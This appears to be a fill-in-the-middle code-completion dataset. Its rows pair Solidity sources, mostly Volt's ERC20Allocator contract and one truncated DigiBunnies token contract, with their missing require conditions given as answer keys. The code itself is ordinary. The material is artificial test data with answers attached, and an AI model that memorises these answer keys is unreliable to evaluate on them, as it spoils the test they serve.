/// @notice map the pcv deposit address to a peg stability module
mapping(address => address) public pcvDepositToPSM;
/// @notice ERC20 Allocator constructor
/// @param _core Volt Core for reference
/// @param _maxRateLimitPerSecond maximum rate limit per second that governance can set
/// @param _rateLimitPerSecond starting rate limit per second
/// @param _bufferCap cap on buffer size for this rate limited instance
constructor(
address _core,
uint256 _maxRateLimitPerSecond,
uint128 _rateLimitPerSecond,
uint128 _bufferCap
)
CoreRef(_core)
RateLimitedV2(_maxRateLimitPerSecond, _rateLimitPerSecond, _bufferCap)
{}
/// ----------- Governor Only API -----------
/// @notice connect a new PSM
/// @param psm Peg Stability Module to add
/// @param targetBalance target amount of tokens for the PSM to hold
/// @param decimalsNormalizer decimal normalizer to ensure buffer is depleted and replenished properly
function connectPSM(
address psm,
uint248 targetBalance,
int8 decimalsNormalizer
) external override onlyGovernor {
address token = PCVDeposit(psm).balanceReportedIn();
require(<FILL_ME>)
PSMInfo memory newPSM = PSMInfo({
token: token,
targetBalance: targetBalance,
decimalsNormalizer: decimalsNormalizer
});
allPSMs[psm] = newPSM;
emit PSMConnected(psm, token, targetBalance, decimalsNormalizer);
}
/// @notice edit an existing PSM
/// @param psm Peg Stability Module for this deposit
/// @param targetBalance target amount of tokens for the PSM to hold
/// cannot manually change the underlying token, as this is pulled from the PSM
/// underlying token is immutable in both pcv deposit and
function editPSMTargetBalance(address psm, uint248 targetBalance)
external
override
onlyGovernor
{
}
/// @notice disconnect an existing deposit from the allocator
/// @param psm Peg Stability Module to remove from allocation
function disconnectPSM(address psm) external override onlyGovernor {
}
/// @notice function to connect deposit to a PSM
/// this then allows the pulling of funds between the deposit and the PSM permissionlessly
/// as defined by the target balance set in allPSM's
/// this function does not check if the pcvDepositToPSM has already been connected
/// as only the governor can call and create, and overwriting with the same data (no op) is fine
/// @param psm peg stability module
/// @param pcvDeposit deposit to connect to psm
function connectDeposit(address psm, address pcvDeposit)
external
override
onlyGovernor
{
}
/// @notice delete an existing deposit
/// @param pcvDeposit PCV Deposit to remove connection to PSM
function deleteDeposit(address pcvDeposit) external override onlyGovernor {
}
/// @notice sweep target token, this shouldn't ever be needed as this contract
/// does not hold tokens
/// @param token to sweep
/// @param to recipient
/// @param amount of token to be sent
function sweep(
address token,
address to,
uint256 amount
) external onlyGovernor {
}
/// ----------- Permissionless PCV Allocation APIs -----------
/// @notice pull ERC20 tokens from PSM and send to PCV Deposit
/// if the amount of tokens held in the PSM is above
/// the target balance.
/// @param pcvDeposit deposit to send excess funds to
function skim(address pcvDeposit) external whenNotPaused {
}
/// helper function that does the skimming
/// @param psm peg stability module to skim funds from
/// @param pcvDeposit pcv deposit to send funds to
function _skim(address psm, address pcvDeposit) internal {
}
/// @notice push ERC20 tokens to PSM by pulling from a PCV deposit
/// flow of funds: PCV Deposit -> PSM
/// @param pcvDeposit to pull funds from and send to corresponding PSM
function drip(address pcvDeposit) external whenNotPaused {
}
/// helper function that does the dripping
/// @param psm peg stability module to drip to
/// @param pcvDeposit pcv deposit to pull funds from
function _drip(address psm, PCVDeposit pcvDeposit) internal {
}
/// @notice does an action if any are available
/// @param pcvDeposit whose corresponding peg stability module action will be run on
function doAction(address pcvDeposit) external whenNotPaused {
}
/// ----------- PURE & VIEW Only APIs -----------
/// @notice returns the target balance for a given PSM
function targetBalance(address psm) external view returns (uint256) {
}
/// @notice function to get the adjusted amount out
/// @param amountToDrip the amount to adjust
/// @param decimalsNormalizer the amount of decimals to adjust amount by
function getAdjustedAmount(uint256 amountToDrip, int8 decimalsNormalizer)
public
pure
returns (uint256 adjustedAmountToDrip)
{
}
/// @notice return the amount that can be skimmed off a given PSM
/// @param pcvDeposit pcv deposit whose corresponding psm will have skim amount checked
/// returns amount that can be skimmed, adjusted amount to skim and target to send proceeds
/// reverts if not skim eligbile
function getSkimDetails(address pcvDeposit)
public
view
returns (uint256 amountToSkim, uint256 adjustedAmountToSkim)
{
}
/// @notice return the amount that can be dripped to a given PSM
/// @param psm peg stability module to check drip amount on
/// @param pcvDeposit pcv deposit to drip from
/// returns amount that can be dripped, adjusted amount to drip and target
/// reverts if not drip eligbile
function getDripDetails(address psm, PCVDeposit pcvDeposit)
public
view
returns (uint256 amountToDrip, uint256 adjustedAmountToDrip)
{
}
/// @notice function that returns whether the amount of tokens held
/// are below the target and funds should flow from PCV Deposit -> PSM
/// returns false when paused
/// @param pcvDeposit pcv deposit whose corresponding peg stability module to check drip condition
function checkDripCondition(address pcvDeposit)
external
view
override
returns (bool)
{
}
/// @notice function that returns whether the amount of tokens held
/// are above the target and funds should flow from PSM -> PCV Deposit
/// returns false when paused
function checkSkimCondition(address pcvDeposit)
external
view
override
returns (bool)
{
}
/// @notice returns whether an action is allowed
/// returns false when paused
function checkActionAllowed(address pcvDeposit)
external
view
override
returns (bool)
{
}
function _checkDripCondition(address psm, PCVDeposit pcvDeposit)
internal
view
returns (bool)
{
}
function _checkSkimCondition(address psm) internal view returns (bool) {
}
}
| allPSMs[psm].token==address(0),"ERC20Allocator: cannot overwrite existing deposit" | 63,973 | allPSMs[psm].token==address(0) |
"ERC20Allocator: token mismatch" | pragma solidity =0.8.13;
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {SafeCast} from "@openzeppelin/contracts/utils/math/SafeCast.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {Timed} from "./../../utils/Timed.sol";
import {CoreRef} from "./../../refs/CoreRef.sol";
import {PCVDeposit} from "./../PCVDeposit.sol";
import {RateLimitedV2} from "./../../utils/RateLimitedV2.sol";
import {IERC20Allocator} from "./IERC20Allocator.sol";
/// @notice Contract to remove all excess funds past a target balance from a smart contract
/// and to add funds to that same smart contract when it is under the target balance.
/// First application is allocating funds from a PSM to a yield venue so that liquid reserves are minimized.
/// This contract should never hold PCV, however it has a sweep function, so if tokens get sent to it accidentally,
/// they can still be recovered.
/// This contract stores each PSM and maps it to the target balance and decimals normalizer for that token
/// PCV Deposits can then be linked to these PSM's which allows funds to be pushed and pulled
/// between these PCV deposits and their respective PSM's.
/// This design allows multiple PCV Deposits to be linked to a single PSM.
/// This contract enforces the assumption that all pcv deposits connected to a given PSM share
/// the same underlying token, otherwise the rate limited logic will not work as intended.
/// This assumption is encoded in the create and edit deposit functions as well as the
/// connect deposit function.
/// @author Elliot Friedman
contract ERC20Allocator is IERC20Allocator, CoreRef, RateLimitedV2 {
using Address for address payable;
using SafeERC20 for IERC20;
using SafeCast for *;
/// @notice container that stores information on all psm's and their respective deposits
struct PSMInfo {
/// @notice target token address to send
address token;
/// @notice only skim if balance of target is greater than targetBalance
/// only drip if balance of target is less than targetBalance
uint248 targetBalance;
/// @notice decimal normalizer to ensure buffer is updated uniformly across all deposits
int8 decimalsNormalizer;
}
/// @notice map the psm address to the corresponding target balance information
/// excess tokens past target balance will be pulled from the PSM
/// if PSM has less than the target balance, tokens will be sent to the PSM
mapping(address => PSMInfo) public allPSMs;
/// @notice map the pcv deposit address to a peg stability module
mapping(address => address) public pcvDepositToPSM;
/// @notice ERC20 Allocator constructor
/// @param _core Volt Core for reference
/// @param _maxRateLimitPerSecond maximum rate limit per second that governance can set
/// @param _rateLimitPerSecond starting rate limit per second
/// @param _bufferCap cap on buffer size for this rate limited instance
constructor(
address _core,
uint256 _maxRateLimitPerSecond,
uint128 _rateLimitPerSecond,
uint128 _bufferCap
)
CoreRef(_core)
RateLimitedV2(_maxRateLimitPerSecond, _rateLimitPerSecond, _bufferCap)
{}
/// ----------- Governor Only API -----------
/// @notice connect a new PSM
/// @param psm Peg Stability Module to add
/// @param targetBalance target amount of tokens for the PSM to hold
/// @param decimalsNormalizer decimal normalizer to ensure buffer is depleted and replenished properly
function connectPSM(
address psm,
uint248 targetBalance,
int8 decimalsNormalizer
) external override onlyGovernor {
}
/// @notice edit an existing PSM
/// @param psm Peg Stability Module for this deposit
/// @param targetBalance target amount of tokens for the PSM to hold
/// cannot manually change the underlying token, as this is pulled from the PSM
/// underlying token is immutable in both pcv deposit and
function editPSMTargetBalance(address psm, uint248 targetBalance)
external
override
onlyGovernor
{
}
/// @notice disconnect an existing deposit from the allocator
/// @param psm Peg Stability Module to remove from allocation
function disconnectPSM(address psm) external override onlyGovernor {
}
/// @notice function to connect deposit to a PSM
/// this then allows the pulling of funds between the deposit and the PSM permissionlessly
/// as defined by the target balance set in allPSM's
/// this function does not check if the pcvDepositToPSM has already been connected
/// as only the governor can call and create, and overwriting with the same data (no op) is fine
/// @param psm peg stability module
/// @param pcvDeposit deposit to connect to psm
function connectDeposit(address psm, address pcvDeposit)
external
override
onlyGovernor
{
address pcvToken = allPSMs[psm].token;
/// assert pcv deposit and psm share same denomination
require(<FILL_ME>)
require(pcvToken != address(0), "ERC20Allocator: invalid underlying");
pcvDepositToPSM[pcvDeposit] = psm;
emit DepositConnected(psm, pcvDeposit);
}
/// @notice delete an existing deposit
/// @param pcvDeposit PCV Deposit to remove connection to PSM
function deleteDeposit(address pcvDeposit) external override onlyGovernor {
}
/// @notice sweep target token, this shouldn't ever be needed as this contract
/// does not hold tokens
/// @param token to sweep
/// @param to recipient
/// @param amount of token to be sent
function sweep(
address token,
address to,
uint256 amount
) external onlyGovernor {
}
/// ----------- Permissionless PCV Allocation APIs -----------
/// @notice pull ERC20 tokens from PSM and send to PCV Deposit
/// if the amount of tokens held in the PSM is above
/// the target balance.
/// @param pcvDeposit deposit to send excess funds to
function skim(address pcvDeposit) external whenNotPaused {
}
/// helper function that does the skimming
/// @param psm peg stability module to skim funds from
/// @param pcvDeposit pcv deposit to send funds to
function _skim(address psm, address pcvDeposit) internal {
}
/// @notice push ERC20 tokens to PSM by pulling from a PCV deposit
/// flow of funds: PCV Deposit -> PSM
/// @param pcvDeposit to pull funds from and send to corresponding PSM
function drip(address pcvDeposit) external whenNotPaused {
}
/// helper function that does the dripping
/// @param psm peg stability module to drip to
/// @param pcvDeposit pcv deposit to pull funds from
function _drip(address psm, PCVDeposit pcvDeposit) internal {
}
/// @notice does an action if any are available
/// @param pcvDeposit whose corresponding peg stability module action will be run on
function doAction(address pcvDeposit) external whenNotPaused {
}
/// ----------- PURE & VIEW Only APIs -----------
/// @notice returns the target balance for a given PSM
function targetBalance(address psm) external view returns (uint256) {
}
/// @notice function to get the adjusted amount out
/// @param amountToDrip the amount to adjust
/// @param decimalsNormalizer the amount of decimals to adjust amount by
function getAdjustedAmount(uint256 amountToDrip, int8 decimalsNormalizer)
public
pure
returns (uint256 adjustedAmountToDrip)
{
}
/// @notice return the amount that can be skimmed off a given PSM
/// @param pcvDeposit pcv deposit whose corresponding psm will have skim amount checked
/// returns amount that can be skimmed, adjusted amount to skim and target to send proceeds
/// reverts if not skim eligbile
function getSkimDetails(address pcvDeposit)
public
view
returns (uint256 amountToSkim, uint256 adjustedAmountToSkim)
{
}
/// @notice return the amount that can be dripped to a given PSM
/// @param psm peg stability module to check drip amount on
/// @param pcvDeposit pcv deposit to drip from
/// returns amount that can be dripped, adjusted amount to drip and target
/// reverts if not drip eligbile
function getDripDetails(address psm, PCVDeposit pcvDeposit)
public
view
returns (uint256 amountToDrip, uint256 adjustedAmountToDrip)
{
}
/// @notice function that returns whether the amount of tokens held
/// are below the target and funds should flow from PCV Deposit -> PSM
/// returns false when paused
/// @param pcvDeposit pcv deposit whose corresponding peg stability module to check drip condition
function checkDripCondition(address pcvDeposit)
external
view
override
returns (bool)
{
}
/// @notice function that returns whether the amount of tokens held
/// are above the target and funds should flow from PSM -> PCV Deposit
/// returns false when paused
function checkSkimCondition(address pcvDeposit)
external
view
override
returns (bool)
{
}
/// @notice returns whether an action is allowed
/// returns false when paused
function checkActionAllowed(address pcvDeposit)
external
view
override
returns (bool)
{
}
function _checkDripCondition(address psm, PCVDeposit pcvDeposit)
internal
view
returns (bool)
{
}
function _checkSkimCondition(address psm) internal view returns (bool) {
}
}
| PCVDeposit(pcvDeposit).balanceReportedIn()==pcvToken,"ERC20Allocator: token mismatch" | 63,973 | PCVDeposit(pcvDeposit).balanceReportedIn()==pcvToken |
"ERC20Allocator: skim condition not met" | pragma solidity =0.8.13;
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {SafeCast} from "@openzeppelin/contracts/utils/math/SafeCast.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {Timed} from "./../../utils/Timed.sol";
import {CoreRef} from "./../../refs/CoreRef.sol";
import {PCVDeposit} from "./../PCVDeposit.sol";
import {RateLimitedV2} from "./../../utils/RateLimitedV2.sol";
import {IERC20Allocator} from "./IERC20Allocator.sol";
/// @notice Contract to remove all excess funds past a target balance from a smart contract
/// and to add funds to that same smart contract when it is under the target balance.
/// First application is allocating funds from a PSM to a yield venue so that liquid reserves are minimized.
/// This contract should never hold PCV, however it has a sweep function, so if tokens get sent to it accidentally,
/// they can still be recovered.
/// This contract stores each PSM and maps it to the target balance and decimals normalizer for that token
/// PCV Deposits can then be linked to these PSM's which allows funds to be pushed and pulled
/// between these PCV deposits and their respective PSM's.
/// This design allows multiple PCV Deposits to be linked to a single PSM.
/// This contract enforces the assumption that all pcv deposits connected to a given PSM share
/// the same underlying token, otherwise the rate limited logic will not work as intended.
/// This assumption is encoded in the create and edit deposit functions as well as the
/// connect deposit function.
/// @author Elliot Friedman
contract ERC20Allocator is IERC20Allocator, CoreRef, RateLimitedV2 {
using Address for address payable;
using SafeERC20 for IERC20;
using SafeCast for *;
/// @notice container that stores information on all psm's and their respective deposits
struct PSMInfo {
/// @notice target token address to send
address token;
/// @notice only skim if balance of target is greater than targetBalance
/// only drip if balance of target is less than targetBalance
uint248 targetBalance;
/// @notice decimal normalizer to ensure buffer is updated uniformly across all deposits
int8 decimalsNormalizer;
}
/// @notice map the psm address to the corresponding target balance information
/// excess tokens past target balance will be pulled from the PSM
/// if PSM has less than the target balance, tokens will be sent to the PSM
mapping(address => PSMInfo) public allPSMs;
/// @notice map the pcv deposit address to a peg stability module
mapping(address => address) public pcvDepositToPSM;
/// @notice ERC20 Allocator constructor
/// @param _core Volt Core for reference
/// @param _maxRateLimitPerSecond maximum rate limit per second that governance can set
/// @param _rateLimitPerSecond starting rate limit per second
/// @param _bufferCap cap on buffer size for this rate limited instance
constructor(
address _core,
uint256 _maxRateLimitPerSecond,
uint128 _rateLimitPerSecond,
uint128 _bufferCap
)
CoreRef(_core)
RateLimitedV2(_maxRateLimitPerSecond, _rateLimitPerSecond, _bufferCap)
{}
/// ----------- Governor Only API -----------
/// @notice connect a new PSM
/// @param psm Peg Stability Module to add
/// @param targetBalance target amount of tokens for the PSM to hold
/// @param decimalsNormalizer decimal normalizer to ensure buffer is depleted and replenished properly
function connectPSM(
address psm,
uint248 targetBalance,
int8 decimalsNormalizer
) external override onlyGovernor {
}
/// @notice edit an existing PSM
/// @param psm Peg Stability Module for this deposit
/// @param targetBalance target amount of tokens for the PSM to hold
/// cannot manually change the underlying token, as this is pulled from the PSM
/// underlying token is immutable in both pcv deposit and
function editPSMTargetBalance(address psm, uint248 targetBalance)
external
override
onlyGovernor
{
}
/// @notice disconnect an existing deposit from the allocator
/// @param psm Peg Stability Module to remove from allocation
function disconnectPSM(address psm) external override onlyGovernor {
}
/// @notice function to connect deposit to a PSM
/// this then allows the pulling of funds between the deposit and the PSM permissionlessly
/// as defined by the target balance set in allPSM's
/// this function does not check if the pcvDepositToPSM has already been connected
/// as only the governor can call and create, and overwriting with the same data (no op) is fine
/// @param psm peg stability module
/// @param pcvDeposit deposit to connect to psm
function connectDeposit(address psm, address pcvDeposit)
external
override
onlyGovernor
{
}
/// @notice delete an existing deposit
/// @param pcvDeposit PCV Deposit to remove connection to PSM
function deleteDeposit(address pcvDeposit) external override onlyGovernor {
}
/// @notice sweep target token, this shouldn't ever be needed as this contract
/// does not hold tokens
/// @param token to sweep
/// @param to recipient
/// @param amount of token to be sent
function sweep(
address token,
address to,
uint256 amount
) external onlyGovernor {
}
/// ----------- Permissionless PCV Allocation APIs -----------
/// @notice pull ERC20 tokens from PSM and send to PCV Deposit
/// if the amount of tokens held in the PSM is above
/// the target balance.
/// @param pcvDeposit deposit to send excess funds to
function skim(address pcvDeposit) external whenNotPaused {
}
/// helper function that does the skimming
/// @param psm peg stability module to skim funds from
/// @param pcvDeposit pcv deposit to send funds to
function _skim(address psm, address pcvDeposit) internal {
/// Check
/// note this check is redundant, as calculating amountToPull will revert
/// if pullThreshold is greater than the current balance of psm
/// however, we like to err on the side of verbosity
require(<FILL_ME>)
(uint256 amountToSkim, uint256 adjustedAmountToSkim) = getSkimDetails(
pcvDeposit
);
/// Effects
_replenishBuffer(adjustedAmountToSkim);
/// Interactions
/// pull funds from pull target and send to push target
/// automatically pulls underlying token
PCVDeposit(psm).withdraw(pcvDeposit, amountToSkim);
/// deposit pulled funds into the selected yield venue
PCVDeposit(pcvDeposit).deposit();
emit Skimmed(amountToSkim, pcvDeposit);
}
/// @notice push ERC20 tokens to PSM by pulling from a PCV deposit
/// flow of funds: PCV Deposit -> PSM
/// @param pcvDeposit to pull funds from and send to corresponding PSM
function drip(address pcvDeposit) external whenNotPaused {
}
/// helper function that does the dripping
/// @param psm peg stability module to drip to
/// @param pcvDeposit pcv deposit to pull funds from
function _drip(address psm, PCVDeposit pcvDeposit) internal {
}
/// @notice does an action if any are available
/// @param pcvDeposit whose corresponding peg stability module action will be run on
function doAction(address pcvDeposit) external whenNotPaused {
}
/// ----------- PURE & VIEW Only APIs -----------
/// @notice returns the target balance for a given PSM
function targetBalance(address psm) external view returns (uint256) {
}
/// @notice function to get the adjusted amount out
/// @param amountToDrip the amount to adjust
/// @param decimalsNormalizer the amount of decimals to adjust amount by
function getAdjustedAmount(uint256 amountToDrip, int8 decimalsNormalizer)
public
pure
returns (uint256 adjustedAmountToDrip)
{
}
/// @notice return the amount that can be skimmed off a given PSM
/// @param pcvDeposit pcv deposit whose corresponding psm will have skim amount checked
/// returns amount that can be skimmed, adjusted amount to skim and target to send proceeds
/// reverts if not skim eligbile
function getSkimDetails(address pcvDeposit)
public
view
returns (uint256 amountToSkim, uint256 adjustedAmountToSkim)
{
}
/// @notice return the amount that can be dripped to a given PSM
/// @param psm peg stability module to check drip amount on
/// @param pcvDeposit pcv deposit to drip from
/// returns amount that can be dripped, adjusted amount to drip and target
/// reverts if not drip eligbile
function getDripDetails(address psm, PCVDeposit pcvDeposit)
public
view
returns (uint256 amountToDrip, uint256 adjustedAmountToDrip)
{
}
/// @notice function that returns whether the amount of tokens held
/// are below the target and funds should flow from PCV Deposit -> PSM
/// returns false when paused
/// @param pcvDeposit pcv deposit whose corresponding peg stability module to check drip condition
function checkDripCondition(address pcvDeposit)
external
view
override
returns (bool)
{
}
/// @notice function that returns whether the amount of tokens held
/// are above the target and funds should flow from PSM -> PCV Deposit
/// returns false when paused
function checkSkimCondition(address pcvDeposit)
external
view
override
returns (bool)
{
}
/// @notice returns whether an action is allowed
/// returns false when paused
function checkActionAllowed(address pcvDeposit)
external
view
override
returns (bool)
{
}
function _checkDripCondition(address psm, PCVDeposit pcvDeposit)
internal
view
returns (bool)
{
}
function _checkSkimCondition(address psm) internal view returns (bool) {
}
}
| _checkSkimCondition(psm),"ERC20Allocator: skim condition not met" | 63,973 | _checkSkimCondition(psm) |
"ERC20Allocator: drip condition not met" | pragma solidity =0.8.13;
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {SafeCast} from "@openzeppelin/contracts/utils/math/SafeCast.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {Timed} from "./../../utils/Timed.sol";
import {CoreRef} from "./../../refs/CoreRef.sol";
import {PCVDeposit} from "./../PCVDeposit.sol";
import {RateLimitedV2} from "./../../utils/RateLimitedV2.sol";
import {IERC20Allocator} from "./IERC20Allocator.sol";
/// @notice Contract to remove all excess funds past a target balance from a smart contract
/// and to add funds to that same smart contract when it is under the target balance.
/// First application is allocating funds from a PSM to a yield venue so that liquid reserves are minimized.
/// This contract should never hold PCV, however it has a sweep function, so if tokens get sent to it accidentally,
/// they can still be recovered.
/// This contract stores each PSM and maps it to the target balance and decimals normalizer for that token
/// PCV Deposits can then be linked to these PSM's which allows funds to be pushed and pulled
/// between these PCV deposits and their respective PSM's.
/// This design allows multiple PCV Deposits to be linked to a single PSM.
/// This contract enforces the assumption that all pcv deposits connected to a given PSM share
/// the same underlying token, otherwise the rate limited logic will not work as intended.
/// This assumption is encoded in the create and edit deposit functions as well as the
/// connect deposit function.
/// @author Elliot Friedman
contract ERC20Allocator is IERC20Allocator, CoreRef, RateLimitedV2 {
using Address for address payable;
using SafeERC20 for IERC20;
using SafeCast for *;
/// @notice container that stores information on all psm's and their respective deposits
struct PSMInfo {
/// @notice target token address to send
address token;
/// @notice only skim if balance of target is greater than targetBalance
/// only drip if balance of target is less than targetBalance
uint248 targetBalance;
/// @notice decimal normalizer to ensure buffer is updated uniformly across all deposits
int8 decimalsNormalizer;
}
/// @notice map the psm address to the corresponding target balance information
/// excess tokens past target balance will be pulled from the PSM
/// if PSM has less than the target balance, tokens will be sent to the PSM
mapping(address => PSMInfo) public allPSMs;
/// @notice map the pcv deposit address to a peg stability module
mapping(address => address) public pcvDepositToPSM;
/// @notice ERC20 Allocator constructor
/// @param _core Volt Core for reference
/// @param _maxRateLimitPerSecond maximum rate limit per second that governance can set
/// @param _rateLimitPerSecond starting rate limit per second
/// @param _bufferCap cap on buffer size for this rate limited instance
constructor(
address _core,
uint256 _maxRateLimitPerSecond,
uint128 _rateLimitPerSecond,
uint128 _bufferCap
)
CoreRef(_core)
RateLimitedV2(_maxRateLimitPerSecond, _rateLimitPerSecond, _bufferCap)
{}
/// ----------- Governor Only API -----------
/// @notice connect a new PSM
/// @param psm Peg Stability Module to add
/// @param targetBalance target amount of tokens for the PSM to hold
/// @param decimalsNormalizer decimal normalizer to ensure buffer is depleted and replenished properly
function connectPSM(
address psm,
uint248 targetBalance,
int8 decimalsNormalizer
) external override onlyGovernor {
}
/// @notice edit an existing PSM
/// @param psm Peg Stability Module for this deposit
/// @param targetBalance target amount of tokens for the PSM to hold
/// cannot manually change the underlying token, as this is pulled from the PSM
/// underlying token is immutable in both pcv deposit and
function editPSMTargetBalance(address psm, uint248 targetBalance)
external
override
onlyGovernor
{
}
/// @notice disconnect an existing deposit from the allocator
/// @param psm Peg Stability Module to remove from allocation
function disconnectPSM(address psm) external override onlyGovernor {
}
/// @notice function to connect deposit to a PSM
/// this then allows the pulling of funds between the deposit and the PSM permissionlessly
/// as defined by the target balance set in allPSM's
/// this function does not check if the pcvDepositToPSM has already been connected
/// as only the governor can call and create, and overwriting with the same data (no op) is fine
/// @param psm peg stability module
/// @param pcvDeposit deposit to connect to psm
function connectDeposit(address psm, address pcvDeposit)
external
override
onlyGovernor
{
}
/// @notice delete an existing deposit
/// @param pcvDeposit PCV Deposit to remove connection to PSM
function deleteDeposit(address pcvDeposit) external override onlyGovernor {
}
/// @notice sweep target token, this shouldn't ever be needed as this contract
/// does not hold tokens
/// @param token to sweep
/// @param to recipient
/// @param amount of token to be sent
function sweep(
address token,
address to,
uint256 amount
) external onlyGovernor {
}
/// ----------- Permissionless PCV Allocation APIs -----------
/// @notice pull ERC20 tokens from PSM and send to PCV Deposit
/// if the amount of tokens held in the PSM is above
/// the target balance.
/// @param pcvDeposit deposit to send excess funds to
function skim(address pcvDeposit) external whenNotPaused {
}
/// helper function that does the skimming
/// @param psm peg stability module to skim funds from
/// @param pcvDeposit pcv deposit to send funds to
function _skim(address psm, address pcvDeposit) internal {
}
/// @notice push ERC20 tokens to PSM by pulling from a PCV deposit
/// flow of funds: PCV Deposit -> PSM
/// @param pcvDeposit to pull funds from and send to corresponding PSM
function drip(address pcvDeposit) external whenNotPaused {
}
/// helper function that does the dripping
/// @param psm peg stability module to drip to
/// @param pcvDeposit pcv deposit to pull funds from
function _drip(address psm, PCVDeposit pcvDeposit) internal {
/// Check
require(<FILL_ME>)
(uint256 amountToDrip, uint256 adjustedAmountToDrip) = getDripDetails(
psm,
pcvDeposit
);
/// Effects
/// deplete buffer with adjusted amount so that it gets
/// depleted uniformly across all assets and deposits
_depleteBuffer(adjustedAmountToDrip);
/// Interaction
/// drip amount to pcvDeposit psm so that it has targetBalance amount of tokens
pcvDeposit.withdraw(psm, amountToDrip);
emit Dripped(amountToDrip, psm);
}
/// @notice does an action if any are available
/// @param pcvDeposit whose corresponding peg stability module action will be run on
function doAction(address pcvDeposit) external whenNotPaused {
}
/// ----------- PURE & VIEW Only APIs -----------
/// @notice returns the target balance for a given PSM
function targetBalance(address psm) external view returns (uint256) {
}
/// @notice function to get the adjusted amount out
/// @param amountToDrip the amount to adjust
/// @param decimalsNormalizer the amount of decimals to adjust amount by
function getAdjustedAmount(uint256 amountToDrip, int8 decimalsNormalizer)
public
pure
returns (uint256 adjustedAmountToDrip)
{
}
/// @notice return the amount that can be skimmed off a given PSM
/// @param pcvDeposit pcv deposit whose corresponding psm will have skim amount checked
/// returns amount that can be skimmed, adjusted amount to skim and target to send proceeds
/// reverts if not skim eligbile
function getSkimDetails(address pcvDeposit)
public
view
returns (uint256 amountToSkim, uint256 adjustedAmountToSkim)
{
}
/// @notice return the amount that can be dripped to a given PSM
/// @param psm peg stability module to check drip amount on
/// @param pcvDeposit pcv deposit to drip from
/// returns amount that can be dripped, adjusted amount to drip and target
/// reverts if not drip eligbile
function getDripDetails(address psm, PCVDeposit pcvDeposit)
public
view
returns (uint256 amountToDrip, uint256 adjustedAmountToDrip)
{
}
/// @notice function that returns whether the amount of tokens held
/// are below the target and funds should flow from PCV Deposit -> PSM
/// returns false when paused
/// @param pcvDeposit pcv deposit whose corresponding peg stability module to check drip condition
function checkDripCondition(address pcvDeposit)
external
view
override
returns (bool)
{
}
/// @notice function that returns whether the amount of tokens held
/// are above the target and funds should flow from PSM -> PCV Deposit
/// returns false when paused
function checkSkimCondition(address pcvDeposit)
external
view
override
returns (bool)
{
}
/// @notice returns whether an action is allowed
/// returns false when paused
function checkActionAllowed(address pcvDeposit)
external
view
override
returns (bool)
{
}
function _checkDripCondition(address psm, PCVDeposit pcvDeposit)
internal
view
returns (bool)
{
}
function _checkSkimCondition(address psm) internal view returns (bool) {
}
}
| _checkDripCondition(psm,pcvDeposit),"ERC20Allocator: drip condition not met" | 63,973 | _checkDripCondition(psm,pcvDeposit) |
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed." | // SPDX-License-Identifier: MIT
/*
Website: https://www.digibunnies.xyz
Twitter: https://twitter.com/digibunnies_erc
Telegram: https://t.me/digibunnies_erc
*/
pragma solidity 0.8.21;
library SafeMath {
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IERC20 {
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DBunny is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"DigiBunnies";
string private constant _symbol = unicode"DBunny";
uint256 private _buyersCount=0;
uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
uint8 private constant _decimals = 9;
bool private taxSwapEnabled = false;
bool private tradingActive;
bool private inSwap = false;
bool public hasTransferDelay = true;
mapping(address => uint256) private _holderLastHoldingTimestamp;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint256) private _balances;
uint256 public maxTxLimit = 4 * _tTotal / 100;
uint256 public taxSwapLimit = 10 * _tTotal / 1000;
uint256 private _taxSwapThreshold= 2 * _tTotal / 1000;
uint256 public mWalletSize = 4 * _tTotal / 100;
uint256 private _finalBuyFee = 0;
uint256 private _finalSellFee = 0;
uint256 private _preventSwapBefore = 10;
uint256 private _firstBuyTax = 8;
uint256 private _firstSellTax = 8;
uint256 private _reduceBuyFeeAfter = 4;
uint256 private _reduceSellFeeAfter = 4;
address payable private _taxAddress;
address private _devAddy = 0xa2dd77b850169F9A5D6E4f1ea12c810959b08cef;
address private uniswapPairAddr;
IDEXRouter private dexRouter;
modifier lockTheSwap {
}
